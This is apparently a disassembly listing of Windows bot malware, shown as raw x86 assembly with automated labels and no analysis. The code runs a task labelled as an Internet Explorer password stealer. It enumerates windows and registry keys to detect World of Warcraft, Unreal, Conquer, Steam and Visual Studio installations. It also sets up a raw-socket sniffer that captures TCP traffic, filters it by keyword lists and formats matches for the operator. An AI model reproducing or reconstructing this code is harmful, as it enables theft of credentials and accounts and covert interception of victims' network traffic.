		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------

loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D34C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]

loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE80, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------

loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------

loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: .data:00416FB6p
					; .data:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------

loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax

loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1

loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1

loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1

loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------

loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1

loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1

loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------

loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------

loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"

loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------

loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"

loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------

loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"

loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------

loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"

loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------

loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"

loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D5CC
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------

loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------

loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------

loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------

loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------

loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------

loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6FC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D758
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7CC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D810
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax

loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41D9DC
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax

loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------

loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E

loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------

loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------

loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax

loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh

loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh

loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh

loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------

loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------

loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax

loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------

loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41D9A8
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------

loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
